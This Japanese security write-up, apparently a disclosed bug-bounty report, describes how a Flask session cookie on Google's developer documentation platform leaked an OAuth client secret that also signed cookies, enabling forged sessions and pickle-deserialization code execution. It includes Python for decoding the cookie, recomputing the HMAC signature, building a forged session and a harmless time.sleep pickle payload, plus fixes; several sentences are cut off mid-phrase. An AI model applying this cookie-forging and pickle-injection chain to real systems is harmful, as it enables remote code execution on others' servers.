Google 開発者サイトにおける OAuth クライアントシークレット漏洩と遠隔コード実行脆弱性の解析

発見までの経緯

Google の開発者ドキュメントサイト（

developers.google.com

• /oauth2authorize

  へのリクエストを送信すると、Flask セッション用クッキーが設定され、その後 Google のサインインページへリダイレクトされます。
• アカウント作成は不要です。

クッキーの構造分析

通常の Flask セッションは

<ペイロード>.<タイムスタンプ>.<シグネチャ>

Flask のセッションクッキーは暗号化ではなく**署名（署名ベース）**されているため、この形式のクッキーを保持していれば誰でも中身を閲覧可能です。先頭のドット（

.

import base64
import json
import pickletools
import zlib

payload, timestamp, signature = cookie.rsplit(".", 2)

def b64decode(value):
    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)

クッキー内部の内容

上記スクリプトで得られた JSON 形式の内容は以下の通りです。

{
    "_permanent": true,
    "google_oauth2_csrf_token": "...",
    "google_oauth2_flow_<csrf>": {
        " b": "..."
    }
}

• キー

  " b"

  は、Flask がバイト列値であることを示すタグです。
• この

  " b"

  の値を Base64 で復号すると、Pickle 形式のデータが得られます。

• pickletools.dis

  を実行すると、

  oauth2client.client.OAuth2WebServerFlow

  オブジェクトが含まれていることが分かりました。

このオブジェクトには以下の重要な情報が含まれていました：

• client_id

  =

  "<redacted>.apps.googleusercontent.com"

• client_secret

  =

  b"<redacted>"

  （投稿時点では実際に有効なままでした）

脆弱性の本質：署名鍵の漏洩

このクッキーには Pickle シリアライズされたペイロードが含まれていましたが、それ以上に重大なのは以下の点です。

• Google の OAuth

  client_id

  と

  client_secret

  が平文（暗号化されていないまま）で含まれていたこと。
• この取得したクライアントシークレットを Flask の

  SECRET_KEY

  として試し、発行されたクッキーの署名が検証できるか確認しました。
• 結果：署名は検証できました。
• つまり、署名鍵は対象となるオブジェクト内部に格納されていたことになります。

一つのシークレット、二つの役割

セッションクッキーの中にクライアントシークレットが漏洩していることは重大な発見ですが、問題の本質は以下の点にあります。

1. 同じ値が署名を検証するために使われている。
2. これは偶然の幸運ではなく、Flask の

   itsdangerous

   ライブラリが鍵を導出する仕組みに基づいた脆弱性です。

オフラインで署名を再計算し検証した結果、以下の手順で完全な一致を確認しました。

import hmac

derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
    derived_key,
    f"{payload}.{timestamp}".encode(),
    "sha1",
)

• 計算した

  expected

  の値は、取得したクッキーの署名とバイト単位で完全に一致しました。
• 偶然ではないことを確認するため、署名の一部（一文字）を反転させると検証が拒否されました。
• 回復されたシークレットを使って元のペイロードを再署名すると許可されました。

これにより、セッションの整合性は完全に失われており、サーバー側が受け入れるような署名を生成するには、セッション内のすべてのキーと値を変更して構わないことが分かりました。

偽造クッキーからコード実行へ

コールバック処理では、セッションからフロー情報を再度読み出して

pickle.loads

セッションクッキー → Flask の署名検証 → google_oauth2_flow_<csrf> の読み取り → バイトデータの Base64 デコード → pickle.loads(...)

• 原則として

  pickle.loads

  は安全なのは、「他者が有効なクッキーを偽造できない」という前提がある場合のみです。
• 鍵が公開されると、その前提は完全に無効になります。

任意のペイロードの注入

私は自分のセッションを構築し、任意の CSRF トークンと、任意の Pickle データを対応するフローキーに格納しました。

session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        " b": base64.b64encode(attacker_blob).decode()
    },
}

• state

  パラメータも攻撃者によって決定されるため、サーバー側で何らかの一致チェックを行う必要はありません。
• サーバーは署名を検証し、フローエントリを見つけ出し、バイトデータを

  pickle.loads

  に渡します。

遠隔コード実行（RCE）の実現

Pickle の

REDUCE

実際に Google の本番環境でコマンドを実行するつもりはありませんでしたが、

time.sleep(N)

import time

class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds

    def __reduce__(self):
        return (time.sleep, (self.seconds,))

time.sleep(0)

time.sleep(3)

time.sleep(5)

time.sleep(8)

応答時間が指定した数値に比例するのは、サーバー側で

time

sleep(N)

コントロール実験

スローなエンドポイントやジッターによる遅延を除外するために、以下の実験を行いました。

• クッキーがない場合：無効なリクエスト
• 署名の一部（1 バイト）が反転した場合：無効なリクエスト
• 有効な署名だがフローエントリがない場合：無効なセッション状態
• 有効な署名で実在のフローエントリを使用した場合：Google のトークン交換に到達するが、偽造された認証コードにより後段で

  invalid_grant

  エラー
• 有効な署名で Sleep ペイロードを使用した場合：指定した秒数だけ正確に遅延

影響範囲

これは単一のアプリケーションではなく、共有されている DevSite プラットフォームの一部です。したがって、

developers.google.com

• firebase.google.com

• developer.android.com

• source.android.com

• docs.partner.android.com

修正対応

この問題に対処するには、以下の 4 つの変更点が必須であり、これらはいずれも相互に関連しています。

1. 露出された OAuth クライアントシークレットの両方をローテーションし、それらの鍵で署名されたすべてのセッションを終了させること。
2. 各デプロイに対して、サーバー側のストレージから得た高エントロピーを持つ Flask

   SECRET_KEY

   を割り当てる。 この鍵は OAuth の認証情報とは無関係で、用途も明確に区別されるべきです。
3. OAuth フローオブジェクトをサーバー側に保持する。 クッキーには不透明な参照のみを含み、機密情報は格納しないようにすべきです。
4. クライアント境界を越えるデータには Pickle を使用しない。 スキーマチェック付きのデータ専用の形式に置き換えることで、偽造されたクッキーは無力化されます。

これらの中の一つだけでも攻撃連鎖を断ち切ることができましたが、実際にはすべての実施により、2 つの GET リクエストで Google のサーバー上でコードを実行できてしまいました。

タイムライン

Google Bug Hunters チームならびに DevSite エンジニアの皆様に、調査と迅速な修正にご尽力いただきました。感謝申し上げます。